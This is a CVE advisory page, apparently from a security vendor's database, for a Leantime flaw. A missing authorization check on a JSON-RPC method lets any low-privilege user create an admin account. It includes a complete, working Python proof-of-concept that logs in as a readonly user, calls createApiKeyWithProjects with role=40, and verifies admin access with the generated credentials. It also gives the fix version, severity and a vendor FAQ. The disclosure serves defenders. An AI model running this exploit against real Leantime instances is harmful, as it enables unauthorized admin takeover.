CVE-2026-85990

Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods

// app/Domain/Api/Services/Api.php
/**
 * @api
 */
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
    $apiKeyValues = $this->createAPIKey($values);   // no #[RequiresPermission], no role check
    ...
}

Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.

Script : poc.py

#!/usr/bin/env python3
"""
What this script does, against a target Leantime instance:
  1. Logs in as a LOW-PRIVILEGE account (readonly role by default).
  2. Confirms the account is correctly blocked by the normal web UI from an
     admin-only page (expects HTTP 403) -- this establishes the account truly
     has no admin rights before the exploit runs.
  3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using
     nothing but that account's own ordinary session cookie, requesting
     role=40 (admin). No admin/API-key credential is used anywhere in this
     step -- only the low-privilege session established in step 1.
  4. Logs in through the completely ordinary web login form using the
     generated username/password from step 3, and confirms that account now
     has full, interactive admin access to the same admin-only page that
     blocked the original low-privilege account in step 2. (The record is
     created with source='' rather than source='api' -- createAPIKey() never
     sets that column -- so it does NOT work as an x-api-key credential, but
     it is a fully functional role=40 web login, which is a stronger and
     more direct proof of impact.)

Requirements: pip install requests

Usage:
  python3 poc.py --url http://localhost:5080 \\
      --username [email protected] --password 'LowPriv123!'
"""

import argparse
import sys

import requests


def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
    """Call a JSON-RPC method. Sends X-Requested-With so the session-based
    guard actually loads the caller's real, persisted session (see
    StartSession.php:65) -- without it, API requests get a fresh, empty,
    in-memory session and every call 401s regardless of login state."""
    headers = {
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest",
    }
    if extra_headers:
        headers.update(extra_headers)

    resp = session.post(
        f"{base_url}/api/jsonrpc",
        json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
        headers=headers,
    )
    return resp


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080")
    parser.add_argument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)")
    parser.add_argument("--password", required=True, help="Password for that account")
    parser.add_argument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS verification (for self-signed local/dev instances)")
    args = parser.parse_args()

    verify = not args.insecure
    base_url = args.url.rstrip("/")
    s = requests.Session()
    s.verify = verify

    print(f"[*] Target: {base_url}")

    # Step 1: log in as the low-privilege account via the ordinary web form.
    print(f"[*] Logging in as low-privilege account: {args.username}")
    s.get(f"{base_url}/auth/login")  # prime session cookie
    login_resp = s.post(
        f"{base_url}/auth/login",
        data={
            "username": args.username,
            "password": args.password,
            "redirectUrl": "/dashboard/home",  # avoid the unrelated empty-redirectUrl 500 bug
        },
        allow_redirects=False,
    )
    if login_resp.status_code not in (302, 303):
        print(f"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.")
        sys.exit(1)
    print("[+] Login succeeded (session cookie established).")

    # Step 2: confirm the account genuinely has no admin rights via the web UI.
    check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if check_resp.status_code == 403:
        print(f"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).")
    else:
        print(f"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. "
              f"Continuing anyway, but this account may not be low-privilege as assumed.")

    # Step 3: the actual privilege escalation -- same session, no API key used.
    print("[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) "
          "using ONLY the low-privilege session from step 1 ...")
    esc_resp = rpc_call(
        s,
        base_url,
        "leantime.rpc.api.api.createApiKeyWithProjects",
        {"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
    )

    try:
        esc_json = esc_resp.json()
    except ValueError:
        print(f"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
        sys.exit(1)

    if "error" in esc_json:
        print(f"[!] Exploit call failed: {esc_json['error']}")
        print("    (If this is 'Method is not available via API' or an AuthorizationException, "
              "the target may already be patched.)")
        sys.exit(1)

    result = esc_json["result"]
    new_user = result["user"]
    new_pass = result["passwordClean"]
    new_role = result["role"]
    new_id = result["id"]
    api_key = f"lt_{new_user}_{new_pass}"

    print("[+] VULNERABLE: server created a new account with attacker-chosen role, "
          "with no permission check on the calling (low-privilege) account.")
    print(f"    New account id={new_id}  role={new_role} (40 == admin)")
    print(f"    Generated credentials -- username: {new_user}  password: {new_pass}")
    print(f"    (Nominal API key form: {api_key} -- see note below.)")

    # Step 4: prove the new account carries real, interactive admin privilege
    # by logging in through the ORDINARY web login form and hitting the same
    # admin-only page that blocked the original low-privilege account.
    print("[*] Logging in through the normal web UI with the generated credentials ...")
    admin_session = requests.Session()
    admin_session.verify = verify
    admin_session.get(f"{base_url}/auth/login")
    admin_login_resp = admin_session.post(
        f"{base_url}/auth/login",
        data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
        allow_redirects=False,
    )
    if admin_login_resp.status_code not in (302, 303):
        print(f"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).")
        sys.exit(1)

    admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if admin_check_resp.status_code == 200:
        print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, "
              f"interactive admin access to {args.admin_check_path} (HTTP 200) -- "
              f"the exact page that returned 403 for the original account in step 2.")
    else:
        print(f"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, "
              f"got {admin_check_resp.status_code}.")

if __name__ == "__main__":
    main()

Maintainer note (resolution): Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2026-85990 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.10.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-85990? CVE-2026-85990 is a high-severity improper privilege management vulnerability in leantime/leantime (composer), affecting versions < 3.10.0. It is fixed in 3.10.0. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
2. How severe is CVE-2026-85990? CVE-2026-85990 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of leantime/leantime are affected by CVE-2026-85990? leantime/leantime (composer) versions < 3.10.0 is affected.
4. Is there a fix for CVE-2026-85990? Yes. CVE-2026-85990 is fixed in 3.10.0. Upgrade to this version or later.
5. Is CVE-2026-85990 exploitable, and should I be worried? Whether CVE-2026-85990 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-85990 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-85990? Upgrade leantime/leantime to 3.10.0 or later.

Other vulnerabilities in leantime/leantime